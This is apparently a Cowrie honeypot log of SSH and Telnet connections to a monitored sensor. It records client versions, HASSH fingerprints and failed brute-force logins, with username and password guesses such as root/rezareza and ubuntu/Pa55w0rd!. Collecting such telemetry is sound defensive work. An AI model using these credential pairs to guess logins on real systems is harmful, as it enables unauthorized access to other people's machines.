{"eventid":"cowrie.session.connect","src_ip":"24.178.165.51","src_port":39340,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a8ab95f69ab","protocol":"telnet","message":"New connection: 24.178.165.51:39340 (10.17.0.5:23) [session: 1a8ab95f69ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:13.715089Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":37170,"dst_ip":"10.17.0.5","dst_port":22,"session":"e392fd00ae69","protocol":"ssh","message":"New connection: 200.187.71.114:37170 (10.17.0.5:22) [session: e392fd00ae69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:14.367091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:14.370579Z","src_ip":"200.187.71.114","session":"e392fd00ae69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:14.486108Z","src_ip":"200.187.71.114","session":"e392fd00ae69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.8948948383331299,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:14.609854Z","src_ip":"24.178.165.51","session":"1a8ab95f69ab","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator123","message":"login attempt [administrator/administrator123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:14.975820Z","src_ip":"200.187.71.114","session":"e392fd00ae69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:16.094876Z","src_ip":"200.187.71.114","session":"e392fd00ae69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.178.165.51","src_port":40184,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e777d698f61","protocol":"telnet","message":"New connection: 24.178.165.51:40184 (10.17.0.5:23) [session: 5e777d698f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:17.776948Z"}
{"eventid":"cowrie.session.closed","duration":0.8141329288482666,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:18.590967Z","src_ip":"24.178.165.51","session":"5e777d698f61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.191.64.182","src_port":33860,"dst_ip":"10.17.0.5","dst_port":22,"session":"06aa66bfd6c2","protocol":"ssh","message":"New connection: 115.191.64.182:33860 (10.17.0.5:22) [session: 06aa66bfd6c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:24.912006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:24.917037Z","src_ip":"115.191.64.182","session":"06aa66bfd6c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:25.153692Z","src_ip":"115.191.64.182","session":"06aa66bfd6c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rezareza","message":"login attempt [root/rezareza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:26.132551Z","src_ip":"115.191.64.182","session":"06aa66bfd6c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":43174,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a46ad09d95b","protocol":"ssh","message":"New connection: 193.32.162.145:43174 (10.17.0.5:22) [session: 3a46ad09d95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:34.831213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:34.835306Z","src_ip":"193.32.162.145","session":"3a46ad09d95b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:34.951971Z","src_ip":"193.32.162.145","session":"3a46ad09d95b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:35.314415Z","src_ip":"193.32.162.145","session":"3a46ad09d95b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:36.425009Z","src_ip":"193.32.162.145","session":"3a46ad09d95b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":52050,"dst_ip":"159.203.135.109","dst_port":22,"session":"4feae0843486","protocol":"ssh","message":"New connection: 220.247.224.226:52050 (159.203.135.109:22) [session: 4feae0843486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:48.745593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:48.750985Z","src_ip":"220.247.224.226","session":"4feae0843486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:48.973987Z","src_ip":"220.247.224.226","session":"4feae0843486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"qwerty123","message":"login attempt [vpn/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:49.893769Z","src_ip":"220.247.224.226","session":"4feae0843486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:53:51.118410Z","src_ip":"220.247.224.226","session":"4feae0843486","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.229.175.252","src_port":51315,"dst_ip":"10.17.0.5","dst_port":23,"session":"1812920d61cf","protocol":"telnet","message":"New connection: 115.229.175.252:51315 (10.17.0.5:23) [session: 1812920d61cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:06.824952Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":36200,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f7e55983412","protocol":"ssh","message":"New connection: 200.187.71.114:36200 (10.17.0.5:22) [session: 4f7e55983412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:16.178743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:16.187824Z","src_ip":"200.187.71.114","session":"4f7e55983412","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:16.323030Z","src_ip":"200.187.71.114","session":"4f7e55983412","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123qwe","message":"login attempt [postgres/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:16.811128Z","src_ip":"200.187.71.114","session":"4f7e55983412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:17.928916Z","src_ip":"200.187.71.114","session":"4f7e55983412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:19.937421Z","src_ip":"14.103.107.209","session":"a88c50931ff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.310213804244995,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:20.134942Z","src_ip":"115.229.175.252","session":"1812920d61cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.244.162","src_port":12064,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd1a20365b3e","protocol":"ssh","message":"New connection: 49.207.244.162:12064 (10.17.0.5:22) [session: dd1a20365b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:26.298193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:26.303257Z","src_ip":"49.207.244.162","session":"dd1a20365b3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:26.509796Z","src_ip":"49.207.244.162","session":"dd1a20365b3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pa55w0rd!","message":"login attempt [ubuntu/Pa55w0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:27.365856Z","src_ip":"49.207.244.162","session":"dd1a20365b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:28.573420Z","src_ip":"49.207.244.162","session":"dd1a20365b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":14525,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f685150ea0e","protocol":"ssh","message":"New connection: 220.247.224.226:14525 (159.203.135.109:22) [session: 4f685150ea0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:50.703341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:50.707618Z","src_ip":"220.247.224.226","session":"4f685150ea0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:50.930308Z","src_ip":"220.247.224.226","session":"4f685150ea0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1w2","message":"login attempt [ubuntu/q1w2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:51.843105Z","src_ip":"220.247.224.226","session":"4f685150ea0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:54:53.067725Z","src_ip":"220.247.224.226","session":"4f685150ea0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":53592,"dst_ip":"10.17.0.5","dst_port":22,"session":"7954835d6874","protocol":"ssh","message":"New connection: 200.187.71.114:53592 (10.17.0.5:22) [session: 7954835d6874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:16.564809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:16.569673Z","src_ip":"200.187.71.114","session":"7954835d6874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:16.683837Z","src_ip":"200.187.71.114","session":"7954835d6874","protocol":"ssh"}
